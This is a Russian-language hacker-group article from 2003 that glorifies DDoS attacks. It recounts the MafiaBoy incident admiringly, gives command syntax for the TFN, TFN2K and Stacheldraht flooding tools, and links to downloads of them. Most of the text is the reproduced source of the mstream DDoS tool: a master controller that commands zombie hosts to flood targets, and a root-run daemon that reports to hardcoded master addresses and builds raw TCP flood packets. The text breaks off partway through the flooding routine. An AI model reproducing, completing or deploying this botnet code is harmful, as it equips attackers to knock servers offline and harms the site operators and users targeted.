======================================================================
#								     #
#                   Author: iNo  // k0dsweb gr0up		     #
#          Статья является собственностью команды KODSWEB            #
#     Любое растпространение без нашего ведома строго запрещено.     #
#			   -= 9.02.2003 =-			     #
#								     #
======================================================================
#								     #
#                   Distributed Denial of Service  	             #	
#								     #
======================================================================
       	      <<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>
======================================================================
# INTRO                                                              #
======================================================================

В этой статье я хочу познакомить тебя с самой разрушительной атакой во
всемирной паутине-DDoS или Distributed Denial of Service. Сейчас всё больше
компьютеров подвергается подобным атакам. DDoS обладает гораздо большим
потенциалом, чем простой DoS, следовательно, шансов завалить какой-либо
сервак больше. Для того чтобы ты почувствовал всю мощь DDoS’а приведу пару
примеров из истории.


======================================================================
# HISTORY                                                            #
======================================================================

Февраль 2000 года. Официальная дата первого DDoS’а. 3 часа в дауне был 
всеми известный YAHOO. Всего 3 часа. Но какие убытки! Вслед за YAHOO упал
e-Bay, а затем и amazone.com. 3 довольно серьёзных веб-сервера с добротной
защитой падали как белки под пулемётом. Сразу же поступили заявления о том,
что данный беспредел был делом рук команды профессиональных хакеров и
готовился около полугода. Но мы то знаем, что такой бум устроил не кто
иной, как пятнадцатилетний канадец MafiaBoy. Атака производилась примерно с
тысячи университетских компьютеров, которые MafiaBoy умудрился
зазомбировать. 


======================================================================
# HOW?                                                               #
======================================================================

Ну что? Не хило? А ведь всё это осуществилось тривиальным UDP-флудом. Ну
так теперь надо разобраться что к чему. Итак. Как же работает DDoS и чем он
отличается от DoS’а? На самом деле всё очень просто. Чтобы завалить сервак
с широченным каналом, одной тачки на диалапе точно не хватит, возможностей
канала не хватит. А вот если взять тысячу другую таких тачек, и
одновременно ка-а-к пиз...=]. Ну вообщем ты понял =]. Накроется кто-то медным
тазом. При этом можно использовать любую разновидность DoS’а. 


======================================================================
# TROUBLE                                                            #
======================================================================

Всё конечно хорошо, но откуда взять эту самую тысячу компов, которые к тому
же захотят одновременно заDoS’тить какой-либо сервак. Конечно можно
наломать тысячу другую компов и потом использовать их, но, я думаю не стоит
объяснять, что это представляется с трудом. 


======================================================================
# SOFT                                                               #
======================================================================

Поэтому написали специальный софт для DDoS’а, который работает по принципу
backdoor’а. Самые известные из них –TFN, TFN2k, Trinoo, Mstream, 
WinTrinoo, Stacheldraht. В основном эти программы состоят из 2-х частей:
демон и мастер. Демон ставят на машине, с которой хотят вести DoS (зомби).
После того, как зазомбировано достаточное кол-во компов, запускают мастер,
который и заставляет все поставленные демоны начать DoS’ить. При этом комп,
на котором был запущен мастер, очень сложно определить. Т.е. шанс остаться
незамеченным очень велик. 


======================================================================
# USE                                                                #
======================================================================

Дальше я опишу особенности и краткое описание нескольких программ для
DDoS’а. 


* TFN  

Tribe Flood Net Project, можно сказать, самая первая DDoS тулза. В арсенале
udp flood, syn flood, icmp flood и smurf. После компиляции появляется три
исполняемых файла: td-демон, tfn-мастер и tfn-rush-мастер в rush-mode.
Синтаксис следующий: ./tfn ./[список ip с демонами] [код атаки] [адрес].
Приговор: Классика, что тут сказать.


* TFN2K

Tribe Flood Net Project 2K. Тот-же TFN, но более навороченный. Наконец-то
появился нормальный spoofing пакетов. Вообще доработок достаточно много, и
перечислять их нет никакого смысла. Компилируется без проблем. После
компиляции появляются td(демон) и tfn(мастер). Синтаксис: ./tfn –f ./iplist
–c [код атаки] –I [адрес]. 
Приговор: Imho, лучший инструмент для DDoS’а.


* Stacheldraht    

Особенность данного инструмента в том, что он состоит не из 2-х частей, а
из 3-х. После компиляции появляются три файла: td(демон),
mserv(мастер-сервер) и client(мастер-клиент). Синтаксис достаточно большой,
поэтому почитай сам.


======================================================================
# OUTRO                                                              #
======================================================================

Ну, я думаю, основной принцип понятен. Остальные тулзы действуют также и
проблем у тебя возникнуть не должно, вот только не забывай иногда
поглядывать в исходники. Надеюсь, что я убедил тебя, что нет в интернете,
ничего сильнее, чем DDoS=].  


======================================================================
# Приложение                                                         #
======================================================================

К статье я прилагаю описанные DDoS утилиты, 
которые ты можешь слить с нашего сайта:

http://kodsweb.ru/texts/addtexts/stachelantigl.tar.gz
http://kodsweb.ru/texts/addtexts/tfn.tgz
http://kodsweb.ru/texts/addtexts/tfn2k.tgz
http://kodsweb.ru/texts/addtexts/trinoo.tgz
http://kodsweb.ru/texts/addtexts/mstream.txt

 


======================================================================
А это исходный код master.c    #                                     #
================================     W E L C O M E  T O  D D O S     #
mstream.txt                    #                                     #
======================================================================


Subject: Source code to mstream, a DDoS tool

It's been alleged that this source code, once compiled, was used by
persons unknown in the distributed denial of service (DDoS) attacks
earlier this year.  Obviously such a thing cannot be confirmed aside from
through a process of targeted sites making an appropriate comparison
between the traffic this software would generate and the traffic they
actually received.

The code was made available anonymously to us (ie we didn't write it and
don't know who did) and is hereby made available anonymously to AusCERT,
CERT, CIAC, Mr David Dittrich (who carried out analyses on binary versions
of the trinoo, tfn2k and stacheldracht DDoS tools around the 1999/2000 New
Year period), as well as several other "full disclosure" mailing
lists/forums.  It's not known if this source code has seen the light of
day prior to now, so your mileage will definitely vary.

-Anon

PS: Sad to think that the hopes of the US economy ride unknowingly on
the back of an inability of overvalued, overrated "dot.coms" to protect
against someone writing such a simple piece of code like this and using
it against them.  Companies used to have contingency plans to deal with
adversity.  Now they use the long, flailing arm of the law (the FBI) and
the excuse of "hackers" to conceal their depthless technology and security
planning from the rigors of Wall Street and the NASDAQ.

PPS: Global Psychedelic Trance rocks!


Makefile:

------------------------

CC = gcc

# -g is so i can debug it better :P
# -Wall so i can be happy

CFLAGS = -g -Wall

all: master server

clean:
	rm -f master server

master: master.c
	$(CC) $(CFLAGS) -o master master.c

server: server.c
	$(CC) $(CFLAGS) -o server server.c


------------------------

master.c

------------------------

/* spwn */

#define PASSWORD "sex"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)

#define MAX_IP_LENGTH 17
#define MAX_HOST_LENGTH 200

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* prototypes for my functions */
void sighandle (int);
int maxfd (int, int);
void prompt (int);
void tof (char *);
void fof (char *);
void send2server (u_long, char *, ...);
void forkbg (void);
void nlstr (char *);
void sendtoall (char *, ...);
char *inet_ntoa (struct in_addr);
u_long inet_addr (const char *);
int findfree (void);
/* end of prototypes */


typedef struct _socks {
   int fd;
   int opts;
   int idle;
   char *ip;
} socks;

socks users[MAXUSERS];

int main (int argc, char *argv[])
{
     fd_set readset;
     int i, tcpfd, udpfd, socksize, pongs = 0;
     struct sockaddr_in udpsock, tcpsock, remotesock;
     struct timeval t;
     char ibuf[1024], obuf[1024], *arg[3];
   
   signal(SIGINT, sighandle);
   signal(SIGHUP, sighandle);
   signal(SIGSEGV, sighandle);

   socksize = sizeof(struct sockaddr);
   
   if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      perror("socket");
      exit(0);
   }
   
   if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
      perror("socket");
      exit(0);
   }
   
   tcpsock.sin_family = AF_INET;
   tcpsock.sin_port = htons(MASTER_TCP_PORT);
   tcpsock.sin_addr.s_addr = INADDR_ANY;
   memset(&tcpsock.sin_zero, 0, 8);
   
   if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) ==
-1) {
      perror("bind");
      exit(0);
   }
   
   if (listen(tcpfd, MAXUSERS+1) == -1) {
      perror("listen");
      exit(0);
   }
   
   i = 1;
   
   if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int))
== -1) {
      perror("setsockopt");
      exit(0);
   }
   
   i = 1;
   
   if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int))
== -1) {
      perror("setsockopt");
      exit(0);
   }
   
   if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) {
      perror("fcntl");
      exit(0);
   }
   
   udpsock.sin_family = AF_INET;
   udpsock.sin_port = htons(MASTER_UDP_PORT);
   udpsock.sin_addr.s_addr = INADDR_ANY;
   memset(&udpsock.sin_zero, 0, 8);
   
   if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) ==
-1) {
      perror("bind");
      exit(0);
   }
   
   i = 1;
   
   if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int))
== -1) {
      perror("setsockopt");
      exit(0);
   }
   
   i = 1;
   
   if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int))
== -1) {
      perror("setsockopt");
      exit(0);
   }
   
   for (i = 0 ; i <= MAXUSERS ; i++) {
      users[i].opts = (0 & ~USED);
   }
   
   
   forkbg();

   t.tv_sec = 2;
   t.tv_usec = 1;
   
   for (;;) {
      
      for (i = 0 ; i <= MAXUSERS ; i++)
	if (users[i].opts & USED)
	  if ((time(0) - users[i].idle) > 420) {
	     memset(&obuf, 0, sizeof obuf);
	     sprintf(obuf, "\nYou're too idle !\n");
	     send(users[i].fd, &obuf, strlen(obuf), 0);
	     close(users[i].fd);
	     users[i].opts &= ~USED;
	  }
      
      FD_ZERO(&readset);
      FD_SET(tcpfd, &readset);
      FD_SET(udpfd, &readset);
      
      for (i = 0 ; i <= MAXUSERS ; i++) {
	 if (users[i].opts & USED) FD_SET(users[i].fd, &readset);
      }
      
      if (select(maxfd(tcpfd, udpfd)+1, &readset, NULL, NULL, &t) == -1)
continue;
      
      if (FD_ISSET(tcpfd, &readset)) {
	 int socknum;
	 u_long ip;
	 struct hostent *hp;
	 
	 if ((socknum = findfree()) == -1) {
	    socknum = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
	    close(socknum);
	    continue;
	 }
	 
	 users[socknum].fd = accept(tcpfd, (struct sockaddr *)&remotesock,
&socksize);
	 for (i = 0 ; i <= MAXUSERS ; i++) {
	    if (users[i].opts & USED) {
	       memset(&obuf, 0, sizeof obuf);
	       snprintf(obuf, (sizeof obuf)-1, "\nConnection from %s\n",
inet_ntoa(remotesock.sin_addr));
	       send(users[i].fd, &obuf, strlen(obuf), 0);
	       prompt(users[i].fd);
	    }
	 }
	 
	 users[socknum].opts = (USED & ~AUTH);
	 ip = remotesock.sin_addr.s_addr;
	 if ((hp = gethostbyaddr((char *)&ip, sizeof ip, AF_INET)) == NULL) {
	    users[socknum].ip = (char *) malloc(MAX_IP_LENGTH);
	    strncpy(users[socknum].ip, inet_ntoa(remotesock.sin_addr),
MAX_IP_LENGTH-1);
	 } else {
	    users[socknum].ip = (char *) malloc(MAX_HOST_LENGTH);
	    strncpy(users[socknum].ip, hp->h_name, MAX_HOST_LENGTH-1);
	 }
	 
	 users[socknum].idle = time(0);
      }
      
      if (FD_ISSET(udpfd, &readset)) {
	 memset(&ibuf, 0, sizeof ibuf);
	 if (recvfrom(udpfd, &ibuf, (sizeof ibuf)-1, 0, (struct sockaddr
*)&remotesock, &socksize) <= 0) continue;
	 nlstr(ibuf);
	 
	 if (!strcmp(ibuf, "newserver")) {
	    FILE *f;
	    char line[1024];
	    int i;
	    
	    if ((f = fopen(SERVERFILE, "r")) == NULL) {
	       f = fopen(SERVERFILE, "w");
	       fclose(f);
	       continue;
	    }
	    while (fgets(line, (sizeof line)-1, f)) {
	       nlstr(line);
	       fof(line);
	       nlstr(line);
	       if (!strcmp(line, inet_ntoa(remotesock.sin_addr))) {
		  continue;
	       }
	    }
	    fclose(f);
	    if ((f = fopen(SERVERFILE, "a")) == NULL) continue;
	    memset(&obuf, 0, sizeof obuf);
	    snprintf(obuf,(sizeof obuf)-1, "%s\n",
inet_ntoa(remotesock.sin_addr));
	    tof(obuf);
	    fprintf(f, "%s\n", obuf);
	    for (i = 0 ; i <= MAXUSERS ; i++)
	      if (users[i].opts & USED) {
		 memset(&obuf, 0, sizeof obuf);
		 snprintf(obuf, (sizeof obuf)-1, "\nNew server on %s.\n",
inet_ntoa(remotesock.sin_addr));
		 send(users[i].fd, &obuf, strlen(obuf), 0);
		 prompt(users[i].fd);
	      }
	    fclose(f);
	 }
	 
	 if (!strcmp(ibuf, "pong")) {
	    pongs++;
	    for (i = 0 ; i <= MAXUSERS ; i++) {
	       if (users[i].opts & USED) {
		  memset(&obuf, 0, sizeof obuf);
		  snprintf(obuf, (sizeof obuf)-1, "\nGot pong number %d from %s\n",
pongs, inet_ntoa(remotesock.sin_addr));
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  prompt(users[i].fd);
	       }
	    }
	 }
      }
      
      for (i = 0 ; i <= MAXUSERS ; i++) {
	 if (users[i].opts & USED) {
	    if (FD_ISSET(users[i].fd, &readset)) {
	       if (!(users[i].opts & AUTH)) {
		  int x;
		  
		  memset(&ibuf, 0, sizeof ibuf);
		  if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
		     int y;
		     
		     users[i].opts = (~AUTH & ~USED);
		     memset(&obuf, 0, sizeof obuf);
		     snprintf(obuf, (sizeof obuf)-1, "%s has disconnected (not auth'd):
%s\n", users[i].ip, strerror(errno));
		     for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
			send(users[y].fd, &obuf, strlen(obuf), 0);
			prompt(users[y].fd);
		     }
		     
		     close(users[i].fd);
		     free(users[i].ip);
		     continue;
		  }
		  
		  users[i].idle = time(0);
		  
		  for (x = 0 ; x <= strlen(ibuf) ; x++) {
		     if (ibuf[x] == '\n') ibuf[x] = '\0';
		     if (ibuf[x] == '\r') ibuf[x] = '\0';
		  }
		  
		  if (strcmp(ibuf, PASSWORD)) {
		     int y;
		     memset(&obuf, 0, sizeof obuf);
		     snprintf(obuf, (sizeof obuf)-1, "Invalid password from %s.\n",
users[i].ip);
		     for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && (y
!= i)) {
			send(users[y].fd, &obuf, strlen(obuf), 0);
			prompt(users[y].fd);
		     }
		     
		     free(users[i].ip);
		     close(users[i].fd);
		     users[i].opts = (~AUTH & ~USED);
		     continue;
		  }
		  for (x = 0 ; x <= MAXUSERS ; x++) {
		     if ((users[x].opts & USED) && (x != i)) {
			memset(&obuf, 0, sizeof obuf);
			snprintf(obuf, (sizeof obuf)-1, "\nPassword accepted for connection from
%s.\n", users[i].ip);
			send(users[x].fd, &obuf, strlen(obuf), 0);
			prompt(users[x].fd);
		     }
		  }
		  users[i].opts |= AUTH;
		  prompt(users[i].fd);
		  continue;
	       }
	       memset(&ibuf, 0, sizeof ibuf);
	       if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
		  int y;
		  
		  memset(&obuf, 0, sizeof obuf);
		  snprintf(obuf, (sizeof obuf)-1, "Lost connection to %s: %s\n",
users[i].ip, strerror(errno));
		  for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
		     send(users[y].fd, &obuf, strlen(obuf), 0);
		     prompt(users[y].fd);
		  }
		  
		  free(users[i].ip);
		  close(users[i].fd);
		  users[i].opts = (~AUTH & ~USED);
		  continue;
	       }
	       
	       arg[0] = strtok(ibuf, " ");
	       arg[1] = strtok(NULL, " ");
	       arg[2] = strtok(NULL, " ");
	       arg[3] = NULL;

	       if (arg[2]) nlstr(arg[2]);
	       if (!strncmp(arg[0], "stream", 6)) {
		  struct hostent *hp;
		  struct in_addr ia;
		  if ((!arg[1]) || (!arg[2])) {
		     memset(&obuf, 0, sizeof obuf);
		     sprintf(obuf, "Usage: stream  \n");
		     send(users[i].fd, &obuf, strlen(obuf), 0);
		     prompt(users[i].fd);
		     continue;
		  }
		  if ((hp = gethostbyname(arg[1])) == NULL) {
		     memset(&obuf, 0, sizeof obuf);
		     snprintf(obuf, (sizeof obuf)-1, "Unable to resolve %s.\n", arg[1]);
		     send(users[i].fd, &obuf, strlen(obuf), 0);
		     prompt(users[i].fd);
		     continue;
		  }
		  memcpy(&ia.s_addr, &hp->h_addr, hp->h_length);
		  sendtoall("stream/%s/%s", inet_ntoa(ia), arg[2]);
		  memset(&obuf, 0, sizeof obuf);
		  snprintf(obuf, (sizeof obuf)-1, "Streaming %s for %s seconds.\n",
arg[1], arg[2]);
		  send(users[i].fd, &obuf, strlen(obuf), 0);
	       }
	       if (!strncmp(arg[0], "quit", 4)) {
		  int y;
		  
		  memset(&obuf, 0, sizeof obuf);
		  snprintf(obuf, (sizeof obuf)-1, "%s has disconnected.\n",
users[i].ip);
		  for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && y != i)
{
		     send(users[y].fd, &obuf, strlen(obuf), 0);
		     prompt(users[y].fd);
		  }
		  
		  free(users[i].ip);
		  close(users[i].fd);
		  users[i].opts = (~AUTH & ~USED);
		  continue;
	       }
	       if (!strncmp(arg[0], "servers", 7)) {
		  FILE *f;
		  char line[1024];
		  
		  if ((f = fopen(SERVERFILE, "r")) == NULL) {
		     memset(&obuf, 0, sizeof obuf);
		     sprintf(obuf, "\nServer file doesn't exist, creating ;)\n");
		     send(users[i].fd, &obuf, strlen(obuf), 0);
		     f = fopen(SERVERFILE, "w");
		     fclose(f);
		     prompt(users[i].fd);
		     continue;
		  }
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "The following ips are known servers: \n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  while (fgets(line, (sizeof line)-1, f)) {
		     nlstr(line);
		     fof(line);
		     send(users[i].fd, &line, strlen(line), 0);
		  }
		  fclose(f);
	       }
	       if (!strncmp(arg[0], "help", 4) || !strncmp(arg[0], "commands", 8))
{
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "\nAvailable commands: \n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "stream\t\t--\tstream attack !\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "servers\t\t--\tPrints all known servers.\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "ping\t\t--\tping all servers.\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "who\t\t--\ttells you the ips of the people logged
in\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "mstream\t\t--\tlets you stream more than one ip at a
time\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
	       }
	       if (!strncmp(arg[0], "who", 3)) {
		  int x;
		  
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "\nCurrently Online: \n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  
		  for (x = 0 ; x <= MAXUSERS ; x++) {
		     memset(&obuf, 0, sizeof obuf);
		     if (users[x].opts & USED && users[x].opts & AUTH) {
			snprintf(obuf, (sizeof obuf)-1, "Socket number %d\t[%s]\n", x,
users[x].ip);
			send(users[i].fd, &obuf, strlen(obuf), 0);
		     }
		  }
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
	       }
	       
	       if (!strncmp(arg[0], "ping", 4)) {
		  pongs = 0;
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "Pinging all servers.\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  sendtoall("ping");
	       }
	       if (!strncmp(arg[0], "mstream", 7)) {
			if ((!arg[1]) || (!arg[2])) {
				memset(&obuf, 0, sizeof obuf);
				sprintf(obuf, "Usage: mstream  \n");
				send(users[i].fd, &obuf, strlen(obuf), 0);
				prompt(users[i].fd);
				continue;
				}
			memset(&obuf, 0, sizeof obuf);
			snprintf(obuf, (sizeof obuf)-1, "MStreaming %s for %s seconds.\n",
arg[1], arg[2]);
			send(users[i].fd, &obuf, strlen(obuf), 0);
			sendtoall("mstream/%s/%s\n", arg[1], arg[2]);
			}
	       prompt(users[i].fd);
	    }
	 }
      }
   }
}


int findfree (void) {
    int i;
   
   for (i = 0 ; i <= MAXUSERS ; i++) {
      if (!(users[i].opts & USED)) return i;
   }
   return -1;
}

void forkbg (void) {
    int pid;
           
   pid = fork();
           
   if (pid == -1) {
              perror("fork");
              exit(0);
   }
       
   if (pid > 0) {
              printf("Forked into background, pid %d\n", pid);
              exit(0);
   }
           
}

void nlstr (char *str) {
 int i;

for (i = 0 ; str[i] != NULL ; i++)
	if ((str[i] == '\n') || (str[i] == '\r')) str[i] = '\0';
}

void send2server (u_long addr, char *str, ...) {
    va_list vl;
    char buf[1024];
    int fd;
    struct sockaddr_in sock;
   
   va_start(vl, str);
   vsnprintf(buf, (sizeof buf)-1, str, vl);
   va_end(vl);
   
   if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
   
   sock.sin_family = AF_INET;
   sock.sin_port = htons(SERVER_PORT);
   sock.sin_addr.s_addr = addr;
   memset(&sock.sin_zero, 0, 8);
   
   sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct
sockaddr));
}

void tof (char *str) {
   int i;
   
   for (i = 0 ; str[i] != 0 ; i++)
     str[i]+=50;
}

void fof (char *str) {
   int i;
   
   for (i = 0 ; str[i] != 0 ; i++)
     str[i]-=50;
}

void sendtoall (char *str, ...) {
    va_list vl;
    char buf[1024], line[1024];
    struct sockaddr_in sock;
    int fd;
    FILE *f;
   
   va_start(vl, str);
   vsnprintf(buf, (sizeof buf)-1, str, vl);
   va_end(vl);
   
   if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
   
   sock.sin_family = AF_INET;
   sock.sin_port = htons(SERVER_PORT);
   memset(&sock.sin_zero, 0, 8);
   
   if ((f = fopen(SERVERFILE, "r")) == NULL) {
      f = fopen(SERVERFILE, "w");
      fclose(f);
      return;
   }
   
   while (fgets(line, (sizeof line)-1, f)) {
      nlstr(line);
      fof(line);
      nlstr(line);
      sock.sin_addr.s_addr = inet_addr(line);
      sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock,
sizeof(struct sockaddr));
   }
}

void prompt (int fd) {
    char buf[5];
   
   memset(&buf, 0, sizeof buf);
   
   sprintf(buf, "> ");
   send(fd, &buf, strlen(buf), 0);
}

int maxfd (int extra1, int extra2) {
    int mfd = 0, i;
   
   for (i = 0 ; i <= MAXUSERS ; i++)
     if (users[i].opts & USED)
       mfd = max(mfd, users[i].fd);
   mfd = max(max(extra1, extra2), mfd);
   return mfd;
}

void sighandle (int sig) {
 int i;
 char obuf[1024];

memset(&obuf, 0, sizeof obuf);

switch (sig) {
	case SIGHUP:
		snprintf(obuf, (sizeof obuf)-1, "Caught SIGHUP, ignoring.\n");
		break;
	case SIGINT:
		snprintf(obuf, (sizeof obuf)-1, "Caught SIGINT, ignoring.\n");
		break;
	case SIGSEGV:
		snprintf(obuf, (sizeof obuf)-1, "Segmentation Violation, Exiting
cleanly..\n");
		break;
	default:
		snprintf(obuf, (sizeof obuf)-1, "Caught unknown signal, This should not
happen.\n");
	}

for (i = 0 ; i <= MAXUSERS ; i++)
	if ( (users[i].opts & USED) && (users[i].opts & AUTH) ) {
		send(users[i].fd, &obuf, strlen(obuf), 0);
		prompt(users[i].fd);
		}
if (sig == SIGSEGV) exit(1);
}

------------------------


server.c

------------------------


/* spwn */

char *m[]={
	"1.1.1.1", /* first master */
	"2.2.2.2", /* second master */
	"3.3.3.3", /* third master etc */
	0 };

#define MASTER_PORT 9325
#define SERVER_PORT 7983

#include   
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include 
#include 
#include 
#include 
#ifdef LINUX
#define FIX(x)  htons(x)
#else 
#define FIX(x)  (x)
#endif


void forkbg (void);
void send2master (char *, struct in_addr);
void stream (int, int, u_long, char **);
void nlstr (char *);

int main (int argc, char *argv[])
{
 struct in_addr ia;
 struct sockaddr_in sock, remote;
 int fd, socksize, opt = 1, i;
 char buf[1024];

if (getuid() != 0) {
	fprintf(stderr, "Must be ran as root.\n");
	exit(0);
	}

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
	perror("socket");
	exit(0);
	}

sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
sock.sin_addr.s_addr = INADDR_ANY;
memset(&sock.sin_zero, 0, 8);

if (bind(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1) {
	perror("bind");
	exit(0);
	}

if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(int)) ==
-1) {
	perror("setsockopt");
	exit(0);
	}

forkbg();

for (i = 0 ; m[i] != 0 ; i++) {
ia.s_addr = inet_addr(m[i]);
send2master("newserver", ia);
}


for (;;) {
	socksize = sizeof(struct sockaddr);
	memset(&buf, 0, sizeof buf);
	if (recvfrom(fd, &buf, (sizeof buf)-1, 0, (struct sockaddr *)&remote,
&socksize) <= 0) continue;
	if (!strncmp(buf, "stream", 6)) {
		char *ip;
		int seconds;
		nlstr(buf);
		(void)strtok(buf, "/");
		ip = strtok(NULL, "/");
		seconds = atoi(strtok(NULL, "/"));
		stream(0, (seconds + time(0)), inet_addr(ip), NULL);
		}

	if (!strncmp(buf, "mstream", 7)) {
		char *ips, *ipps[50], *tmpip;
		int seconds, y = 1;

		nlstr(buf);
		(void)strtok(buf, "/");
		ips = strtok(NULL, "/");
		seconds = atoi(strtok(NULL, "/"));
		if ((tmpip = strtok(ips, ":")) == NULL) continue;
		ipps[0] = (char *) malloc(strlen(tmpip)+2);
		strncpy(ipps[0], tmpip, strlen(tmpip)+2);
		y = 1;
		while ((tmpip = strtok(NULL, ":")) != NULL) {
			ipps[y] = (char *)malloc(strlen(tmpip)+2);
			strncpy(ipps[y], tmpip, strlen(tmpip)+2);
			y++;
			}
		ipps[y] = NULL;

		stream(1, (seconds + time(0)), NULL, ipps);
		for (y = 0 ; ipps[y] != NULL ; y++) free(ipps[y]);
		}

	if (!strncmp(buf, "ping", 4)) {
		send2master("pong", remote.sin_addr);
		}
	} /* for(;;) */
		
} /* main */

void send2master (char *buf, struct in_addr addr) {
 struct sockaddr_in sock;
 int fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;

sock.sin_family = AF_INET;
sock.sin_port = htons(MASTER_PORT);
sock.sin_addr = addr;
memset(&sock.sin_zero, 0, 8);

sendto(fd, buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct
sockaddr));
}

void forkbg (void) {
 int pid;

pid = fork();

if (pid == -1) {
	perror("fork");
	exit(0);
	}

if (pid > 0) {
	printf("Forked into background, pid %d\n", pid);
	exit(0);
	}

}
struct ip_hdr {
    u_int	ip_hl:4,		/* header length in 32 bit words */
		ip_v:4;			/* ip version */
    u_char	ip_tos;			/* type of service */
    u_short	ip_len;			/* total packet length */
    u_short	ip_id;			/* identification */
    u_short	ip_off;			/* fragment offset */
    u_char	ip_ttl;			/* time to live */
    u_char	ip_p;			/* protocol */
    u_short	ip_sum;			/* ip checksum */
    u_long	saddr, daddr;		/* source and dest address */
};

struct tcp_hdr {
    u_short	th_sport;		/* source port */
    u_short	th_dport;		/* destination port */
    u_long	th_seq;			/* sequence number */
    u_long	th_ack;			/* acknowledgement number */
    u_int	th_x2:4,		/* unused */
		th_off:4;		/* data offset */
    u_char	th_flags;		/* flags field */
    u_short	th_win;			/* window size */
    u_short	th_sum;			/* tcp checksum */
    u_short	th_urp;			/* urgent pointer */
};

struct tcpopt_hdr {
    u_char  type;			/* type */
    u_char  len;				/* length */
    u_short value;			/* value */
};

struct pseudo_hdr {			/* See RFC 793 Pseudo Header */
    u_long saddr, daddr;			/* source and dest address */
    u_char mbz, ptcl;			/* zero and protocol */
    u_short tcpl;			/* tcp length */
};

struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
int sock;


/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */

     while (nleft > 1)  {
         sum += *w++;
         nleft -= 2;
     }

     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }

     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16);         	/* add carry */
     answer = ~sum;              	/* truncate to 16 bits */
     return(answer);
}
void stream (int t, int until, u_long dstaddr, char *dstaddrs[])
{
    struct timespec ts;
    int on = 1;

if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return;

if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(int)) ==
-1) return;


srand((time(NULL) ^ getpid()) + getppid());

    memset(&packet, 0, sizeof packet);

    ts.tv_sec			= 0;
    ts.tv_nsec			= 10;

    packet.ip.ip_hl		= 5;
